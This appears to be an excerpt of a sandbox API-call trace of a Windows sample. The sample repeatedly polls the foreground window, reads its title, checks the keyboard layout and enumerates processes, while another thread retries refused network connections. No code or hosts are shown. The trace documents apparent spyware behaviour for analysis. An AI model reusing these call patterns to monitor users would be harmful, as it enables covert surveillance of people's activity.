[0226.757] EnumProcesses (in: lpidProcess=0x2456a40, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2456a40, lpcbNeeded=0x4f8f87c) returned 1
[0226.757] GetLastError () returned 0x0
[0226.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0226.762] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0226.762] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.819] GetForegroundWindow () returned 0x101a2
[0226.820] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.881] GetForegroundWindow () returned 0x101a2
[0226.881] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.944] GetForegroundWindow () returned 0x101a2
[0226.944] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.520] GetForegroundWindow () returned 0x100f6
[0228.520] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0228.520] EnumProcesses (in: lpidProcess=0x2385128, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2385128, lpcbNeeded=0x4f8f87c) returned 1
[0228.520] GetLastError () returned 0x0
[0228.521] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0228.525] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0228.525] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0228.582] GetForegroundWindow () returned 0x101a2
[0228.582] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0228.582] EnumProcesses (in: lpidProcess=0x239681c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x239681c, lpcbNeeded=0x4f8f87c) returned 1
[0228.583] GetLastError () returned 0x0
[0228.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0228.588] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0228.588] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.644] GetForegroundWindow () returned 0x101a2
[0228.644] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.707] GetForegroundWindow () returned 0x101a2
[0228.707] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.769] GetForegroundWindow () returned 0x101a2
[0228.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.831] GetForegroundWindow () returned 0x100f6
[0228.831] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0228.832] EnumProcesses (in: lpidProcess=0x23a86c4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a86c4, lpcbNeeded=0x4f8f87c) returned 1
[0228.832] GetLastError () returned 0x0
[0228.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0228.835] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0228.835] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0228.894] GetForegroundWindow () returned 0x101a2
[0228.894] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0228.894] EnumProcesses (in: lpidProcess=0x23b9d64, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b9d64, lpcbNeeded=0x4f8f87c) returned 1
[0228.894] GetLastError () returned 0x0
[0228.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0228.898] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0228.898] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.959] GetForegroundWindow () returned 0x101a2
[0228.959] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.019] GetForegroundWindow () returned 0x101a2
[0229.019] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.081] GetForegroundWindow () returned 0x101a2
[0229.081] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.143] GetForegroundWindow () returned 0x100f6
[0229.143] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0229.144] EnumProcesses (in: lpidProcess=0x23cbc0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cbc0c, lpcbNeeded=0x4f8f87c) returned 1
[0229.144] GetLastError () returned 0x0
[0229.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.149] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0229.149] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0229.206] GetForegroundWindow () returned 0x101a2
[0229.206] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0229.206] EnumProcesses (in: lpidProcess=0x23dd2ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dd2ac, lpcbNeeded=0x4f8f87c) returned 1
[0229.206] GetLastError () returned 0x0
[0229.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.210] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0229.210] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.268] GetForegroundWindow () returned 0x101a2
[0229.268] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.331] GetForegroundWindow () returned 0x101a2
[0229.331] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.393] GetForegroundWindow () returned 0x101a2
[0229.393] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.464] GetForegroundWindow () returned 0x100f6
[0229.464] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0229.464] EnumProcesses (in: lpidProcess=0x23ef154, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ef154, lpcbNeeded=0x4f8f87c) returned 1
[0229.464] GetLastError () returned 0x0
[0229.465] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.469] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0229.469] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0229.518] GetForegroundWindow () returned 0x101a2
[0229.518] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0229.518] EnumProcesses (in: lpidProcess=0x24007f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24007f4, lpcbNeeded=0x4f8f87c) returned 1
[0229.518] GetLastError () returned 0x0
[0229.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.522] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0229.522] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.580] GetForegroundWindow () returned 0x101a2
[0229.580] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.643] GetForegroundWindow () returned 0x101a2
[0229.643] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.705] GetForegroundWindow () returned 0x101a2
[0229.705] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.767] GetForegroundWindow () returned 0x100f6
[0229.767] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0229.767] EnumProcesses (in: lpidProcess=0x24126f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24126f0, lpcbNeeded=0x4f8f87c) returned 1
[0229.768] GetLastError () returned 0x0
[0229.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.771] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0229.771] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0229.830] GetForegroundWindow () returned 0x101a2
[0229.830] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0229.830] EnumProcesses (in: lpidProcess=0x2423d90, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2423d90, lpcbNeeded=0x4f8f87c) returned 1
[0229.830] GetLastError () returned 0x0
[0229.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0229.834] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0229.834] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.894] GetForegroundWindow () returned 0x101a2
[0229.894] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0229.957] GetForegroundWindow () returned 0x101a2
[0229.957] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.017] GetForegroundWindow () returned 0x101a2
[0230.017] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.079] GetForegroundWindow () returned 0x100f6
[0230.080] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0230.080] EnumProcesses (in: lpidProcess=0x2435c38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2435c38, lpcbNeeded=0x4f8f87c) returned 1
[0230.080] GetLastError () returned 0x0
[0230.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.084] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0230.084] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0230.142] GetForegroundWindow () returned 0x101a2
[0230.142] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0230.142] EnumProcesses (in: lpidProcess=0x24472d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24472d8, lpcbNeeded=0x4f8f87c) returned 1
[0230.142] GetLastError () returned 0x0
[0230.143] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.147] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0230.147] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.204] GetForegroundWindow () returned 0x101a2
[0230.204] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.267] GetForegroundWindow () returned 0x101a2
[0230.267] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.329] GetForegroundWindow () returned 0x101a2
[0230.329] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.392] GetForegroundWindow () returned 0x100f6
[0230.392] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0230.392] EnumProcesses (in: lpidProcess=0x2459180, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459180, lpcbNeeded=0x4f8f87c) returned 1
[0230.392] GetLastError () returned 0x0
[0230.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.396] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0230.396] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0230.454] GetForegroundWindow () returned 0x101a2
[0230.454] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0230.454] EnumProcesses (in: lpidProcess=0x246ac84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246ac84, lpcbNeeded=0x4f8f87c) returned 1
[0230.454] GetLastError () returned 0x0
[0230.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523020, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523020, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.458] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0230.458] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.516] GetForegroundWindow () returned 0x101a2
[0230.516] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.579] GetForegroundWindow () returned 0x101a2
[0230.579] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.641] GetForegroundWindow () returned 0x101a2
[0230.641] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.704] GetForegroundWindow () returned 0x100f6
[0230.704] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0230.704] EnumProcesses (in: lpidProcess=0x247cb30, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247cb30, lpcbNeeded=0x4f8f87c) returned 1
[0230.704] GetLastError () returned 0x0
[0230.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543040, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543040, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.709] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0230.709] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0230.766] GetForegroundWindow () returned 0x101a2
[0230.766] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0230.766] EnumProcesses (in: lpidProcess=0x248e180, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248e180, lpcbNeeded=0x4f8f87c) returned 1
[0230.766] GetLastError () returned 0x0
[0230.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563060, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563060, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0230.770] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0230.770] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.828] GetForegroundWindow () returned 0x101a2
[0230.828] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.891] GetForegroundWindow () returned 0x101a2
[0230.891] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0230.956] GetForegroundWindow () returned 0x101a2
[0230.956] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.015] GetForegroundWindow () returned 0x100f6
[0231.015] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0231.016] EnumProcesses (in: lpidProcess=0x249ffd8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249ffd8, lpcbNeeded=0x4f8f87c) returned 1
[0231.016] GetLastError () returned 0x0
[0231.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583080, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583080, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.019] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0231.019] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0231.078] GetForegroundWindow () returned 0x101a2
[0231.078] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0231.078] EnumProcesses (in: lpidProcess=0x24b1628, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b1628, lpcbNeeded=0x4f8f87c) returned 1
[0231.078] GetLastError () returned 0x0
[0231.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.081] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0231.081] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.140] GetForegroundWindow () returned 0x101a2
[0231.140] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.203] GetForegroundWindow () returned 0x101a2
[0231.203] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.265] GetForegroundWindow () returned 0x101a2
[0231.265] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.328] GetForegroundWindow () returned 0x100f6
[0231.328] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0231.328] EnumProcesses (in: lpidProcess=0x24c3480, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c3480, lpcbNeeded=0x4f8f87c) returned 1
[0231.328] GetLastError () returned 0x0
[0231.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.332] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0231.333] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0231.390] GetForegroundWindow () returned 0x101a2
[0231.390] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0231.390] EnumProcesses (in: lpidProcess=0x24d4ad0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d4ad0, lpcbNeeded=0x4f8f87c) returned 1
[0231.391] GetLastError () returned 0x0
[0231.391] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.394] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0231.394] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.452] GetForegroundWindow () returned 0x101a2
[0231.452] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.515] GetForegroundWindow () returned 0x101a2
[0231.515] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.578] GetForegroundWindow () returned 0x101a2
[0231.578] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.639] GetForegroundWindow () returned 0x100f6
[0231.640] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0231.640] EnumProcesses (in: lpidProcess=0x24e697c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e697c, lpcbNeeded=0x4f8f87c) returned 1
[0231.640] GetLastError () returned 0x0
[0231.640] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.643] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0231.643] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0231.702] GetForegroundWindow () returned 0x101a2
[0231.702] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0231.702] EnumProcesses (in: lpidProcess=0x24f7fcc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f7fcc, lpcbNeeded=0x4f8f87c) returned 1
[0231.702] GetLastError () returned 0x0
[0231.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8c28) returned 0x0
[0231.706] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0231.706] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0231.764] GetForegroundWindow () returned 0x101a2
[0231.764] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
Thread:
id = 31
os_tid = 0xba8
Thread:
id = 32
os_tid = 0xbac
Thread:
id = 33
os_tid = 0xbb4
[0194.056] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0195.325] WSAGetOverlappedResult (in: s=0x2f8, lpOverlapped=0x24a1540, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0
[0195.325] GetLastError () returned 0x274d
[0195.407] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0195.556] GetLastError () returned 0x274d
[0195.574] closesocket (s=0x2f8) returned 0
[0195.574] GetLastError () returned 0x0
[0201.038] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x2403ed4, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0
[0201.038] GetLastError () returned 0x274d
[0201.038] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0201.038] GetLastError () returned 0x274d
[0201.039] closesocket (s=0x2ec) returned 0
[0201.039] GetLastError () returned 0x0
[0206.299] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x24b6698, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0
[0206.299] GetLastError () returned 0x274d
[0206.299] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0206.300] GetLastError () returned 0x274d
[0206.300] closesocket (s=0x2ec) returned 0
[0206.300] GetLastError () returned 0x0
[0211.687] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x23a81fc, lpcbTransfer=0x552f91c, fWait=0, lpdwFlags=0x552f8ec | out: lpcbTransfer=0x552f91c, lpdwFlags=0x552f8ec) returned 0
[0211.687] GetLastError () returned 0x274d
[0211.687] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x6964e0, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0211.687] GetLastError () returned 0x274d
[0211.687] closesocket (s=0x2ec) returned 0
[0211.688] GetLastError () returned 0x0
[0226.694] CoUninitialize ()
[0226.694] CoGetContextToken (in: pToken=0x552fbd4 | out: pToken=0x552fbd4) returned 0x0
[0226.694] CObjectContext::QueryInterface () returned 0x0
[0226.694] CObjectContext::GetCurrentThreadType () returned 0x0
[0226.694] Release () returned 0x0
[0226.694] CoGetContextToken (in: pToken=0x552fb68 | out: pToken=0x552fb68) returned 0x0
[0226.694] CObjectContext::QueryInterface () returned 0x0
[0226.694] CObjectContext::GetCurrentThreadType () returned 0x0
[0226.694] Release () returned 0x0
Thread:
id = 34
os_tid = 0xbb8
[0194.186] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0194.188] GetForegroundWindow () returned 0x101a2
